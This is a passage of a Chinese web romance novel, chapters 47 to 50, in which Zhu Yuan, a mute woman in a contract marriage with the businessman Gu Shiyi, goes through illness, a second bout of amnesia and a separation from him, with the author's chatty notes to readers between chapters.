偏厅里,程医生早已备好简易的检查设备,灯光柔和,驱散了医院特有的冰冷感。 诸愿坐在沙发上,身体微微前倾,手始终攥着顾识弈的衣角,像是抓住了唯一的浮木。 “太太别紧张,我们先看看手。”程医生的语气温和,解开她左手上缠着的创口贴。 几天过去,伤口已经慢慢愈合,只留下一道浅浅的红痕,像一抹淡色的印记。 “恢复得还不错,后面可以不用贴创口贴了,让皮肤多透气。”程医生一边拿清洁液擦拭她指尖残留的粘液,一边轻声询问,“最近是不是总觉得累?晚上睡得好吗?” 诸愿下意识地看向顾识弈,见他点头示意,才拿手机,指尖在屏幕上敲击:【晚上有点失眠,白天总想睡,偶尔……会忘记事。】 “这样的情况 持续多久了?” 【就,这几天。】屏幕上的字简短,却像重锤敲在顾识弈心上。 程医生与身旁的医生交换了个眼神,拿出手电筒照向诸愿的眼睛,又轻轻按压她的太阳穴,动作轻柔:“有没有头晕、恶心的感觉?” 【有一点。】 顾识弈站在一旁,听着医生每一句询问,看着诸愿每一个回答,心脏就像被一只无形的手紧紧攥紧,越收越紧,疼得他几乎喘不过气。 他想起前几天她独自待在卧室的日子,那些他未曾察觉的沉默与孤寂,是不是早已在她心里埋下了阴霾? 检查进行了半个多小时,诸愿全程都紧紧攥着顾识弈的衣角,直到医生说“好了”,她才像是脱力般松了口气。 医生们收拾好设备,跟着林正去了前厅。 顾识弈低头看诸愿满脸的疲倦,眼底的心疼几乎要溢出来。他抬手轻轻揉了揉她的头顶,轻哄:“睡吧,醒了我们再一起插花。” 诸愿眼皮沉重,闻言慢慢点了点头。靠在他的肩头上,很快便陷入了沉睡,呼吸均匀而轻浅。 顾识弈等她睡熟了,小心翼翼地将她抱起,放进偏厅的软榻上,掖好被角,才转身走向前厅,脚步却沉重得像灌了铅。 “顾总,从检查结果来看,太太的脑部没有器质性损伤,但她的神经处于高度紧绷状态,应该是长期焦虑、恐惧导致的神经衰弱,嗜睡和记忆力下降都是典型症状。”程医生的声音带着几分凝重,“加上之前的失忆经历,她的心理创伤比身体损伤更严重。” 顾识弈的指尖瞬间收拢,指节捏得咯咯作响。 程医生望了他一眼,硬着头皮继续说:“现阶段需要药物辅助治疗,但更重要的是心理疏导。”又补充,“她现在很依赖您,家人的陪伴对她的恢复至关重要。尽量让她保持心情愉悦,避免任何刺激,比如多带她出去走走,别让她一直待在封闭的环境里。” 医生离开了许久,顾识弈却还站在原地沉默着,耳边反复回响那句“家人的陪伴对她的恢复至关重要”,目光落在落地窗外,山茶花在风中轻轻摇曳,像在无声地控诉他的过错。 他一直以为,给她物质上的满足就够了,却忘了她更需要的是家人和自由。 他那些所谓的“保护”,不过是将她困在一座华丽的牢笼里,让她在孤独中慢慢枯萎,连她身体不适都后知后觉。 也许,他真的该学会放手—— 作者有话说:PS:诊治部分网上搜来的、乱编的,不要相信,也不要深究,因为我也不懂[摊手] 第48章 诸愿睁开眼时,顾识弈就坐在旁边的单人沙发上。 膝上摊着银灰色笔记本,指尖在键盘上轻敲,屏幕幽光映得他下颌线愈发清俊利落。 她怔了半响,混沌的思绪才慢慢回笼:他那么忙,竟陪着她耗了整整一天。 键盘声骤然停了。 像是察觉到她的动静,顾识弈抬眸望过来,眼底的疏离瞬间被温软笑意取代。 他合上电脑放在桌上,起身走过来自然地扶上她的胳膊:“坐起来醒醒神?静姨刚说楼下的插花材料都准备好,等会儿我们就去。” 诸愿轻轻摇了摇头,长长的睫毛垂下去。她不想再麻烦他了,他的时间那么宝贵,不该浪费在自己身上。 顾识弈眉峰微蹙,眼底浮起一丝疑惑。诸愿只好摸过床上的手机,指尖飞快地敲出一行字:【有点累,不想插花了。您去忙您的吧,不用管我。】 他低头看了眼屏幕,只当她是午睡睡乏了,指尖抬起,揉了揉她的发顶,声音放得更柔:“静姨新烤了山茶花酥,刚出炉还热着,我们下去尝尝?” 诸愿望着他眼底的温柔,终究不忍拒绝,轻轻点了点头。 医生说要多带诸愿出去走走,翌日恰好是立冬,阳光格外明媚,顾识弈对刚下楼的诸愿温声道:“收拾一下,带你出门。” 诸愿整整半个月没踏出过万宜庭院的门,眼睛瞬间亮了起来,眉眼隐隐恢复了几分往日的活气。 她回房换了件米白色的毛茸茸连衣裙,领口和袖口缀着一圈柔软的毛,衬得她脸颊愈发小巧莹白。 顾识弈开车,她自然地坐在了副驾驶。原以为他会带她去那些装潢精致的高档餐厅,谁知车子拐了几个弯,竟驶入了一条窄窄的深巷。 巷子里飘着食物的香气,顾识弈停稳车,侧头看她:“司年说这里藏着一家老火锅店,味道最正宗。今天立冬,吃点热的暖身子?” 诸愿的眼睛瞬间弯成了月牙,立刻用力点头。 上次在邻市吃的那顿老火锅,麻辣鲜香的滋味她一直念念不忘,没想到他竟记在了心上。 这家店是火锅和烤肉一体的,顾识弈干脆两样都点了。他坐在烤炉边,耐心地翻动着烤盘上的肉,刷油、撒料,动作娴熟,烤好的第一块肉就夹进了她面前的小碟里。 诸愿小口小口地吃着,暖融融的热气裹着肉香吞进喉咙,连带着心里也暖烘烘的。 等两人走出火锅店时,天已经黑透了。 华灯初上,巷口不知何时摆满了小摊,糖葫芦、烤红薯、糖炒栗子,顺着晚风飘过来,勾得人挪不开脚步。 诸愿站在糖葫芦摊前,眼睛亮晶晶的,顾识弈笑着,替她买了一串裹满糖霜的糖葫芦,又买了烤红薯和糖炒栗子。 他剥开烤红薯的焦皮,露出里面金黄软糯的肉,用油纸袋包好递到她手里。 诸愿吹了吹热气,轻轻咬了一口,香甜的滋味在舌尖化开,带着恰到好处的软糯,连同握着红薯的指头也暖呼呼的。 正吃得满足,一颗剥好的栗子突然递到了嘴边。诸愿下意识地张嘴衔住,唇瓣不经意间擦过他微凉的指尖,才后知后觉地愣了一下。 抬头时,却见顾识弈神色自然地继续剥着栗子,指尖的动作温柔而专注,仿佛这样的举动本就理所当然。 诸愿嚼着香甜的栗子,心里泛起一丝微妙的涟漪,想了想,终究没说什么,只是脸颊微微发热。 “快看!下初雪啦!” 旁边有人惊喜地喊道。 诸愿猛地抬头,只见漆黑的天幕上,絮絮扬扬的白雪正悠悠飘落,像漫天飞舞的鹅毛,轻柔得没有一点声响。 她下意识地伸出手,冰冷的雪花落在掌心,转瞬即逝,却能清晰地看到那六角形的精致纹路。 她惊喜地捧着掌心,快步走到顾识弈面前,眼睛晶亮地比划手语:〈好好看!〉 顾识弈笑着点头,抬手替她拢了拢衣领,将她的脖子裹得更紧了些,指尖不经意间触到她微凉的耳廓,带着几分怜惜:“要不要回去了?外面风大。” 诸愿刚点头,就有个举着相机的人走上前来,热情地问道:“两位拍照吗?单人299元,情侣合照520元,初雪特惠哦~” 诸愿正要摆手拒绝,顾识弈却抢先一步开口:“扫哪里?” 他转头看向愣住的诸愿,眼底带着一丝不易察觉的紧张:“诸愿,我们拍张合照吧。” 像是怕她拒绝,他立刻掏出了手机二维码,摄影师也在一旁劝道:“初雪拍情侣合照,寓意天长地久嘞,美女来一张吧!” 这话一说,顾识弈反倒怕她不自在,正要改口说“算了”,却见诸愿轻轻点了点头。 她主动走近他身边,肩膀轻轻抵着他的肩膀,姿态自然又亲昵,没有一丝勉强。 顾识弈低头看着她近距离的触碰,带着她身上淡淡的馨香,心脏像是被什么柔软的东西轻轻撞了一下,瞬间软得一塌糊涂。 “好看的嘞,来,笑一个!”摄影师按下了快门,笑着道,“拍好了。” 顾识弈有些惊愕,没想到这么快就拍完了。 摄影师把平板递过来,照片里,诸愿斜靠在他身上,唇角微翘,眼眸灵动得像是盛着星光,头顶落着几片雪花,平添了几分俏皮可爱。而他微微低着头,目光落在她脸上,眉目柔和,竟意外的好看。 单看这张照片,他们确实像一对恩爱已久的情侣。 “情侣”两字在顾识弈喉咙里滚了一圈,带着涩涩的暖意,又夹 杂着几分说不清道不明的怅然。 他猛地意识到自己的执着,强迫自己移开了视线,指尖微微松开。 要了原片,两人便驱车回家。 车子停在万宜庭院门口,诸愿握着还剩两颗山楂的糖葫芦,嘴角噙着一抹浅浅的笑。 正准备推开车门,驾驶座上的顾识弈突然开口,声音平静得没有一丝波澜,却像一道惊雷,在诸愿耳边轰然炸响: “诸贺醒了。” 她整个人僵在座位上,瞳孔骤然放大,清亮的眼眸里先是错愕,随即被狂喜填满。 哥哥,她的哥哥终于醒了! 她慌忙去摸手机,想打字问他自己能不能去看哥哥,就听顾识弈接着说:“飞机明天上午十点起飞,静姨已经帮你收拾好行李了,你看看还有没有遗漏的,一并带过去。” 诸愿的嘴角再也压不住,满心都是即将见到哥哥的喜悦,完全没察觉到他语气里的反常,也没注意到他眼底一闪而过的落寞。 她立刻推开车门,脚步轻快地往屋里跑,快得顾识弈都来不及再说一句话。 他张了张嘴,指尖悬在半空,想说的话堵在喉咙里,辗转了许久,最终还是咽了回去。 诸愿现在依赖他,不过是把他当成了诸贺的替代品。等她见到了真正的哥哥,这份依赖自然就会消失。 他怕自己这一喊,就会忍不住利用这份依赖,沉溺其中,最后变得面目全非,再也舍不得放手了。 诸愿一进屋,就看见客厅里堆着大大小小的行李箱,足足有十几箱。 她走过去翻看,发现里面不仅有她的衣物,还有衣帽间里几乎所有的首饰和包包,像是要彻底搬离这里一样。 她正觉得奇怪,抬头就看见静姨站在不远处,眼眶红红的,明显是哭过。 看见她看过来,静姨勉强挤出一个笑容,可眼里的水汽却越来越多,开口的瞬间,声音就哽咽住了:“太太……” 诸愿的心猛地一沉,一股莫名的恐慌涌上心头。 她终于后知后觉地察觉到不对劲——顾识弈,他好像是要放她离开了。 明明是盼了那么久的好消息,明明应该高兴才对,可为什么心里会突然这么难过。 像是被什么东西堵住了,闷得发慌,连呼吸都变得困难起来。 她抬起头,用力眨了眨眼睛,强忍着鼻尖的酸涩和眼眶的发热,不让眼泪掉下来。 诸愿快步走过去,伸出胳膊,抱住了静姨。 静姨也紧紧地抱住她,一声“太太”里满是不舍,那浓重的情绪像是决堤的洪水,瞬间击溃了诸愿的防线。 她再也忍不住,埋在静姨的肩头,小声地哭了出来,肩膀微微颤抖着,像是受了天大的委屈。 深夜,诸愿躺在床上,翻来覆去睡不着。 一想到明天就能见到哥哥,她就忍不住笑,可一想到以后也许再也见不到顾识弈了,眼泪就忍不住往下掉。 两种情绪在心里拉扯着,像被分成了两半,一半是喜,一半是痛,让她备受煎熬。 明明徬晚回家的时候,她还觉得自己是全世界最快乐的人。 她哭多了口渴得厉害,摸了摸床头的水杯,是空的。 想着反正也睡不着,她便起身下床,轻手轻脚地往楼下走去,想去厨房倒点水喝。 刚下到一楼,就看见厨房的灯还亮着。静姨正在灶台前忙碌,看见她进来,连忙问道:“太太,怎么还没睡?是睡不着吗?难道是程医生的药失效了?” 诸愿晃了晃手里的空水杯,示意自己是来喝水的。 她目光落在灶上的砂锅里,好奇地比划着手语:〈那是什么?〉 静姨脸上闪过一丝不自然,随即勉强解释道:“顾总晚上喝了点酒,怕他明天醒来头痛,我提前煮了点醒酒汤,备用。” 诸愿点了点头,倒了一杯温水,喝了一口,便转身往楼上走。 卧室里,顾识弈刚洗漱完,穿着浴袍从浴室走出来,就听见轻轻的敲门声。 他以为是静姨端着醒酒汤来了,便扬声道:“静姨,我头不痛,不用醒酒汤,你早点回去休息吧。” 他迈步走向床边,敲门声却再次响起。顾识弈的脚步顿住,眉头微蹙。 静姨不是那种被拒绝了还会坚持的人,这个家除了她,还会是谁? 答案在心里清晰起来,他的喉结滚动了一下,指尖微微收紧。 不能开门,不能再给他妄想了。 寂静在房间里蔓延,约莫过了一分钟,顾识弈以为她终于放弃了,心里松了口气,却又涌上难以言喻的酸涩。 他想,睡一觉就好了,等她明天走了,看不见了,时间久了,就不会再想了。 可他刚迈出一步,敲门声又响了起来,比之前更轻,却带着一种不肯放弃的执拗。 顾识弈浑身一震,眼底满是震惊。 门外,诸愿握着水杯,犹豫了一下,抬手还想再敲,门却突然从里面打开。 顾识弈站在门口,浴袍的领口松垮地挂在肩上,露出线条流畅的锁骨,水珠顺着发梢滑落,平添了几分慵懒。 只是他的眼神冷得像冰,语气也带着刻意的疏离,没有一丝温度:“找我有事?” 诸愿仰着头看着他,心里的委屈和不安一下子涌了上来。 她拿出手机,飞快地打字:【你喝酒了?】 “嗯。”他的回应简洁而冷淡,听不出任何情绪。 【为什么?你不开心吗?】 顾识弈的眼神暗了暗,伸手就要关门:“不用你管,回去睡觉。” 这冷漠的模样,让诸愿瞬间想起新婚之夜的第二天,她擅闯他的卧室时,他也是这样冷冰冰地对她说“回去睡觉”,甚至比那时更冷,更疏离。 只是这一次,她没有像当初那样害怕,也没有退缩。 少女深吸一口气,像是鼓足了毕生的勇气,踮起脚尖,飞快地在他的唇上亲了一下。 那吻很轻,像雪花落在唇上,转瞬即逝,带着她唇瓣的柔软和微凉。 她退开一点,仰头看着他震惊的眼眸,眼里闪着一丝羞怯,却异常坚定。 她又凑上前,在他的唇上亲了第二口,比方才多了几分执着。 这一次,她刚想退开,腰上就被一只温热的手紧紧扣住,力道大得让她无法挣脱。 紧接着,顾识弈的唇追了上来。 他的吻不像她的那样青涩,带着一种压抑已久的炙热和渴望,辗转厮磨。 诸愿能闻到他身上清冽的沐浴露香味,嘴里没有丝毫酒味,反而带着淡淡的牙膏清香。 她的心跳得飞快,像要跳出胸腔,脸颊烫得惊人,却没有推开他,反而下意识地抬手,轻轻搂住了他的脖颈,一点一点收拢。 空气里弥漫着暧昧的张力,温热的呼吸交织在一起,分不清彼此。 两人对视着,诸愿的眼睛亮晶晶的,带着一丝羞怯和慌乱,却异常坚定。 顾识弈的眼底翻涌着复杂的情绪,有隐忍,有渴望,还有一丝不易察觉的脆弱。 他看着她清澈的眼眸,那里面映着他的身影,终究还是没忍住,再次俯身,吻上了她的唇,这一次,带着前所未有的郑重和珍视。 他伸手推开卧室门,将她拥了进去,门在身后轻轻合上,发出一声轻微的声响。 衣物散落一地,在暖黄的灯光下,勾勒出缠绵的剪影。 第49章 诸愿第二天十点还是坐上了飞往M国的私人飞机。 推开病房门看见诸贺躺在病床上、双腿被固定在支架里的那一刻。所有强撑的镇 定轰然崩塌。 诸愿跑过去抱住哥哥,眼泪像断了线的珠子,一颗一颗往下掉。 “愿愿,乖。”诸贺抬起手,轻轻拍着她的肩膀,声音沙哑,却依旧温柔,带着一如既往的疼惜:“这些年……都发生了什么?” 一句话,让诸愿的哭声戛然而止。 她咬着下唇,脑子飞速转动,想编一个天衣无缝的谎话,等哥哥痊愈了再慢慢坦白。 可她忘了,诸贺在商场摸爬滚打多年,早练就了敏锐洞察力,足以看穿她所有的欲盖弥彰。 三两句旁敲侧击,不擅长说谎的诸愿便慌了神,攥着衣角,头越埋越低,等着哥哥的斥责。 然而,诸贺只是闭上了眼睛,病房里静得能听见监护仪规律的滴答声。 那沉默比任何责骂都更煎熬,她偷偷抬起头,诸贺脸上已经恢复了往日的温和,看向她的眼神依旧满是宠溺,仿佛刚才的追问从未发生。 诸愿松了口气,以为这件事就此揭过。 半个月后,诸贺从床头抽屉里拿出一张银行卡,递到她面前,轻轻道:“我把诸氏卖了。” 短短一句话,却像重锤敲在诸愿心上。 她瞬间明白,哥哥不是不生气,只是认为不是她的错,所以无需责骂。 那些日子的沉默,是他独自扛下了公司易主的阵痛,把所有风雨都挡在了她身前。 她没有拒绝,握着那张轻飘飘却重千钧的卡,转身走出医院,直奔顾识弈的庄园。 暖阳依旧,漫过青黄色的草坪,远处的马道上,仿佛还能看见顾识弈骑着马由远及近的身影、英姿飒爽,眉眼间带着几分不羁的笑意,恍如昨日。 庄园的台阶上,管家带着一众佣人惶恐地迎了出来。 他至今记得,上次夫人留下一本夹着信的书便不告而别,顾总看完信后,脸色阴沉得如同狂风暴雨来临前的天空,当夜便回了国,那几天庄园里的气压低得让人喘不过气。 如今诸愿突然造访,事先毫无通知,管家一时有些慌乱。 正要躬身邀请她进屋,门前却停下一辆黑色轿车,顾老爷子扶着拐杖走了下来。 管家不知道两人在客厅里说了些什么,只知道半个时辰后,诸愿留下了一张银行卡,转身离开了。 他望着她的车渐渐远去,扬起一阵尘土,愣在原地许久。 当管家把这事转告给远在国内的顾识弈时,谁也没想到,这位向来沉稳的顾总,竟在二十四小时内赶了过来,风尘仆仆,眼底布满红血丝。 可他只在庄园里待了不到二十分钟,便又急匆匆地离开,甚至没来得及喝一口水。 没人知道,顾识弈其实去了诸贺所在的医院。 他在病房外的休息椅上坐了一整天,指尖无数次摩挲着冰冷的门把手,想问问诸愿是什么意思,却始终没有勇气推开门。 直到夜幕降临,他才缓缓站起身,落寞离去。 一月的罗市,正是一年中最冷的时候。寒风像刀子一样刮过脸颊,雪花时不时飘落,给这座城市裹上一层薄薄的白霜。 诸愿在租房和医院之间两头跑,连日的奔波让她身心俱疲,免疫力急剧下降,一不小心便感冒了。 起初她没在意,只当是小风寒,硬扛着照顾哥哥。 等到察觉不对劲时,体温已经飚到了40度,脸颊烫得吓人,若不是在医院给哥哥送晚餐时,被护士及时发现,她恐怕早已昏倒在某个无人知晓的角落。 顾识弈得知消息后,第一时间安排飞往M国的飞机,要把诸愿接到庄园照料。 可当他赶到医院时,诸贺坐在轮椅上,脸色严肃,坚决不同意。 他向顾识弈微微鞠了一躬,语气温和却带着疏离:“感谢顾总曾经的帮助,但欠款已经还清了,还请不要再联系。我已经安排了带诸愿回国的机票,她的身体,在国内调养更适合。” 至于他的后续治疗,国内的医院也能胜任,没必要继续在这里耗日子。 顾识弈和他大吵了一架,病房外的走廊里,两人的争执声引来了不少围观的医护人员。 然而就在这时,护士匆匆跑来说,诸愿的病情突然恶化,高烧不退,还发作了心脏病,现在两种药物相互对冲,情况十分危急。 诸贺瞬间停下了争执,顾识弈也收敛了所有强势。 两个原本针锋相对的男人,此刻达成了无声的默契,放弃了争吵,一同守在病房外,盼着诸愿能早日醒来。 但命运却给他们开了个玩笑,诸愿昏昏沉沉地病了一个月醒来后,眼神空洞,竟是谁也不记得了! 无论是诸贺,还是顾识弈,都如临大敌,生怕对方趁人之危,给诸愿编造虚假的记忆。 可令人想不到的是,诸愿谁都不愿意见,只要有人走进病房,她就会立刻缩进被窝里,死死捂住脑袋,任凭谁喊都不出来。 医生也束手无策,只能建议慢慢引导,让她接触熟悉的人或事,或许能唤醒记忆。 顾识弈和诸贺对视一眼,同时想到了一个人。 顾识弈拿起手机,拨通了林正的电话,语气急促:“现在申请最快的航线,去接苏沐来M国,越快越好。” 几乎是同一时间,诸贺也拨通了苏沐的电话,声音带着难掩的急切:“苏沐您好,我是诸贺,可以麻烦您来一趟M国吗?诸愿她……失忆了。” 苏沐刚办好请假手续,走出公司大门,就看到一辆黑色豪车停在路边。 上次在商场见过的顾总助手从车上下来,客气地对她说:“苏小姐,我是顾总的秘书,奉命来接您去机场,顾总在M国等您。” 抵达M国的医院时,正是当地下午三点。 苏沐被带进病房,病床上的少女因为连日的害怕和折腾,已经沉沉睡去。 她脸色苍白,往日里灵动的眼睛紧闭着,长长的睫毛在眼下投下一小片阴影,显得格外脆弱。 苏沐想起去年万圣节主题活动,她邀请诸愿一起去游乐园,诸愿还带着歉意说要照顾哥哥。 之后的节假日,她都会给诸愿发信息,诸愿偶尔会回复几句,可因为时差和各自的忙碌,她们只能约定,等这段时间过去了再好好相聚。 可她没想到,再次相见,会是在这样的情景下。 就在这时,诸愿的睫毛轻轻颤抖了一下,缓缓睁开了眼睛。那双总是亮晶晶的眼睛,此刻一片茫然,像个迷路的孩子。 苏沐的眼泪瞬间就掉了下来,扑到床边,哽咽着喊:“愿愿……呜呜呜……是我,我是苏沐啊。” 诸愿还没弄清楚状况,就被一个温暖的怀抱紧紧抱住。 她原本还有些害怕,身体僵硬着,可看着眼前这个哭得梨花带雨的女生,心里竟生出一丝莫名的亲近感。 她有些无措地从床头抽了张纸巾,轻轻递给这个叫“苏沐”的女生。 诸贺和顾识弈推门进来时,看到的便是这样一幕——两个女生依偎在一起,亲如姐妹。 诸贺知道两人的闺蜜情,并不意外,只是眼底多了几分欣慰。 这时,诸愿抬眼看向他们,眼神陌生而茫然,犹豫了一下,缓缓比划了一个手语。 苏沐看完,转头看了看诸贺和顾识弈,而后也比划了一长串手语,动作轻缓,带着安抚的意味。 诸愿看完,眼睛猛地睁大,脸上写满了震惊,视线不由自主地落在了顾识弈身上。 顾识弈站在原地,如坠云雾。 他明明是她的丈夫,此刻却像个局外人,只能眼睁睁地看着诸愿和苏沐、诸贺,用他看不懂的手语交流。 那种被隔绝在外的无力感,像细密的针,密密麻麻地扎在他心上。 诸愿身体还很虚弱,苏沐陪她聊了半小时,便让她好好休息,自己则去了附近的酒店安顿。 病房外,诸贺看着顾识弈沉默的背影,想起苏沐比划的手语。 那些诸愿曾跟苏沐提起的、关于顾识弈的点滴照顾,他这才意识到,那场协议婚姻,或许并不像表面那样只是等价交易。 “你怎么了?”诸贺率先打破了沉默。 顾识弈抿了抿唇,语气带着几分不易察觉的窘迫和焦虑:“刚刚,愿愿为什么看完手语后,会震惊地看着我?” 诸贺秒懂了,这人竟然不会 手语,怕是把诸愿的震惊当成了厌恶。 他没有趁机挑拨离间的喜好,坦白解释:“放心,苏沐只是告诉愿愿,你是她丈夫。任谁突然知道自己有个丈夫,都会震惊的。” 顾识弈脸上并未舒展,依旧忧心忡忡。 诸贺看着他的摸样,想起诸愿未知的记忆,终究没再多说。 有些事,还得靠他们自己慢慢解开。 傍晚,顾识弈主动提出陪诸愿吃饭,他拎着保温桶走进病房时,诸愿正靠在床头,望着窗外飘落的雪花发呆。 看到他进来,她下意识地坐直了身子,双手放在膝盖上,眼神里带着一丝拘谨。 “今天喝粥,医生说你久未进食,粥容易消化。”顾识弈故作镇定地支起小桌板,一边摆着粥和小菜,一边轻声道。 诸愿没有说话,只是低头盯着桌上熬得浓稠的小米粥。 吃完饭,顾识弈正收拾碗筷,却见她抬起手,指尖快速翻飞,比划了一个手语。 他动作一顿,懵了片刻才反应过来,脸上露出一丝窘迫:“可以再比划一次吗?我没看清。” 诸愿认真而缓慢地重复了一遍,眼里带着几分期待。 可顾识弈看着那陌生的手势,心里一阵酸涩,喉结滚动了一下,只能如实说:“愿愿,对不起,我看不懂手语。” 诸愿的眼睛瞬间瞪得溜圆,满脸都是震惊,像是听到了什么不可思议的事情。 闺蜜懂,哥哥懂,她下意识地以为,作为丈夫的顾识弈自然也懂手语。 可他竟然不懂! 她心里充满了疑惑:自己当初到底是为什么会和他结婚的?连最基本的沟通都做不到。 顾识弈看着她震惊的摸样,自然明白她心里想的是什么。 他张了张嘴,想解释协议婚姻,想告诉她那些过往,可话到嘴边,又咽了回去。 冯医生曾经说过,诸愿失忆是想屏蔽那些糟糕的记忆,他怕诸愿这次失忆,也是因为不想记得那些不愉快的往事,怕自己的解释会再一次伤害她。 病房里的气氛一时变得尴尬,空气仿佛都凝固了。 就在这时,诸贺拎着一个果篮走了进来,打破了沉默:“愿愿,我给你削个苹果。” 诸愿点了点头,注意力被哥哥吸引过去。等她接过削好的苹果,咬了一口,再抬头时,病房里已经没有了顾识弈的身影。 保温桶不见了,桌上的碗筷也收拾得干干净净,仿佛他从未出现过。 他就这么走了?诸愿心里掠过一丝莫名的空落,嘴里的苹果也变得没那么甜了。 她刚刚是不是反应太直白,让他觉得难堪了? 毕竟声障是她的问题,他没有义务一定要懂手语,打字也是可以交流的,而她却因为他不懂手语而感到震惊。 她暗暗想,等他再来时,一定要好好跟他道个歉。 可这一等,便是一整晚。 顾识弈没有再出现。 第二天,一个上午过去了,诸愿犹豫了许久,脸颊涨得通红,终于还是忍不住拉住诸贺的衣袖,指尖轻轻比划着手语:“哥哥,顾识弈……他去哪里了?怎么还没来?” 诸贺看着她眼底藏不住的期待,又想起顾识弈昨晚离开时落寞的背影,眼神复杂地顿了顿。 他斟酌了半响,才缓缓开口,声音里带着一丝不易察觉的叹息:“顾识弈他,回国了。”—— 作者有话说:宝子们不好意思,今天迟了![爆哭] 最近两天感冒了,昨晚熬到凌晨两点不敢熬了,想着上午再继续写,结果不够时间! 本来想请假一下,又想到公告和之前作话都写过,稳定日更12点,迟了就六点或者八点,因此没再解释了,这应该是众所周知的事情吧?是吧是吧,如果有宝宝不知道的,那真的很对不起您呜呜[可怜]告诉俺,俺发红包赔偿[摸头] 大家最近一定要注意保暖和避免被传染了,不然就会像我这样了[抱抱] 然后预警一下,明天可能也会迟,因为俺的感冒还没好,还打算梳理一下剧情(可能要完结了[比心])更新时间可能是六点也可能是八点,大家可以不用来特别早哈[亲亲][亲亲][亲亲] 第50章 三月的风吹来时,诸贺的治疗终于告一段落,不用再依赖海外医疗、回国静养便能痊愈。 诸愿在失去记忆一周后,身体的不适也尽数褪去,唯独记忆像封存起来一样,始终没有恢复。 诸贺对她有没有恢复记忆并不着急,这份近乎纵容的包容,一点点消融了她对未知过往的焦虑,反倒在日复一日的相处中,对这个始终温和待她的人,生出了愈发深切的亲近。 三月末梢,两人的行李便收拾妥当,启程回国。 倒过时差的第三日,诸愿正对着电脑修改简历——去年出国前,她已向向梦递交了辞呈,如今归来,自然要重新寻找工作。 指尖刚敲下一行字,手机屏幕便亮起视频聊天请求。 刚接通,苏沐雀跃的声音几乎要冲破屏幕: “愿愿!你绝对想不到!我们公司这次居然良心发现,工作日团建就算了,还包了米其林自助,酒水甜品茶歇管够!最绝的是能免费带家属,不用搞那些尬到抠脚的团结游戏,到地方直接自由活动,第二天下午再接回去!这羊毛不薅简直对不起自己!” 末了,她带着撒娇的语气追问:“我的好姐妹,陪我一起去嘛~” 诸愿看着屏幕里眉眼弯弯的苏沐,指尖比划着手语,眼底带着几分戏谑的担忧:〈你们公司团建地址该不会是在缅国吧?〉 “哈哈哈我第一反应也是这个!”苏沐的笑声传来,“全公司都在猜老板是不是疯了,要么就是公司要倒闭了准备卖员工抵债,结果打听下来才知道,原来是老板在追我们公司一个小员工!那姑娘是工作狂,周末要回家,又不肯请假约会,老板没办法,才砸钱办了这场团建,只为了能名正言顺地跟人家相处!” “咱们这纯属沾了小说主角谈恋爱的光,当了回幸福的NPC!” 诸愿对着屏幕竖起拇指,笑着比划道:〈那必须去,趁还没沦为打工牛马,好好享受一番。〉 次日清晨,仲春的凉意尚未散尽,早晚温差浸着几分冷冽。 诸愿选了件纯白色吊带长裙,外搭一件粉糯的短款针织开衫,乌黑的微卷长发松松披在后背,右耳上别着一枚小巧的蝴蝶耳骨夹,在晨光中泛着细碎的银辉。 走出卧室时,诸贺正系着浅灰色围裙在厨房忙碌,煎蛋的香气弥漫在空气中。 他抬眼望见她,眼底漾开温柔的笑意,声音明朗悦耳:“过来吃早餐。” 归国前,诸贺便已投递了简历。曾是诸氏掌权人的履历自带重量,几家顶尖公司争相抛出橄榄枝,他最终选了离家最近、薪资最优的一家,如今已然顺利入职。 早餐过后,诸贺知晓她要陪苏沐参加团建,便开着公司配备的专车,先送她去苏沐公司,再折返自己的单位。 车到目的地时,苏沐恰好也刚到,她冲着车内挥挥手,笑着喊:“贺哥。” 诸贺降下车窗,递出一个油纸袋,语气温和:“愿愿说你肯定又没吃早餐,特意让我给你带的。” 苏沐一把揽住诸愿的肩膀,笑着接过:“还是闺蜜最懂我!谢谢贺哥~” 诸贺的目光落在诸愿身上,轻声叮嘱:“明天回来前,记得给我打个电话。” 诸愿知晓他是要 来接自己,笑着点了点头。 待诸贺的车驶远,苏沐才凑近她,好奇地问:“记忆还没恢复,会不会觉得不适应?” 诸愿摇摇头,指尖轻快地比划:〈不会。而且回到这里,总觉得莫名熟悉,这几天偶尔会想起一点和哥哥有关的片段,连做梦也会梦到些模糊的画面。〉 “那太好了!”苏沐由衷为她开心,话到嘴边的“有没有想起顾识弈”又硬生生咽了回去。 那人当时不告而别,如今想来也只是徒增烦恼,不如不想。 只是,他们至今尚未离婚,日后终究要面对。 苏沐甩了甩头,将纷乱的思绪抛开,揽着诸愿往大巴集合点走:“该集合了,我们上车吧。” 一路颠簸,两人默契地掏出眼罩,头靠着头补觉,直到两小时后,大巴稳稳停在花城最豪华的酒店门口。 望着眼前金碧辉煌又不失格调的建筑,两人不约而同地惊叹:为了谈恋爱,这位老板当真是下了血本,也不知是哪位员工这般幸运。 苏沐来就是为了薅羊毛而来,放下行李便拉着诸愿往外跑:“走!把所有免费项目都体验一遍,绝不浪费资本的一分钱!” 诸愿捂着嘴笑。 她知道苏沐早已是总监级别,薪资不菲,不过是平日里被工作压榨得太狠,才对“免费“二字有着执念般的热情。 两人畅快地吃了一顿米其林自助午餐,又去茶歇区加餐,直到肚子胀得再也塞不下东西,才慢悠悠来到休息大厅,躺着看电影消食。 诸愿看着看着,便抵不住困意睡了过去。 苏沐则靠着常年加班练出的好精力,一边吃着顺手带过来的冰淇淋,一边继续观影。 就在这时,一群穿着制服的服务员轻手轻脚地走了过来,开始整理空着的休息椅。 有人压低声音抱怨:“晓姐,上午不是刚整理过吗?这样多影响客人啊。” “小声点!顾总要来视察,谁知道他会去哪个区域?仔细点总没错。” “顾总”二字入耳,苏沐瞬间竖起了耳朵。 她如今对这个姓氏,有着本能的敏感。 职业习惯使然,她掏出手机,搜索这家酒店的法定代表人。 当“顾识弈”三个字赫然跳出时,苏沐嘴里刚塞进去的蓝莓,“啪嗒“一声掉在了衣襟上,瞳孔地震。 恰在此时,诸愿悠悠转醒,睡眼惺忪地望着她,见她神色震惊,便疑惑地比划手语:〈怎么了?出什么事了?〉 苏沐迅速按黑手机屏幕,连忙摇头,捡起蓝莓的同时强装镇定转移话题:“不想看电影了,咱们去泡温泉做spa吧?听说住店客人免费体验,不做白不做!” 诸愿自然没有异议,直起身时,脑海里却突然闪过一句模糊的叮嘱——“愿愿,不要下水。” 她愣了愣,隐约记得自己是会游泳的。不过,泡温泉是坐着的,应该无碍。 这般想着,便跟苏沐一同往温泉区走去。 同一时刻,酒店门口驶来一辆黑色豪车,车身线条流畅凌厉,透着生人勿近的气场。 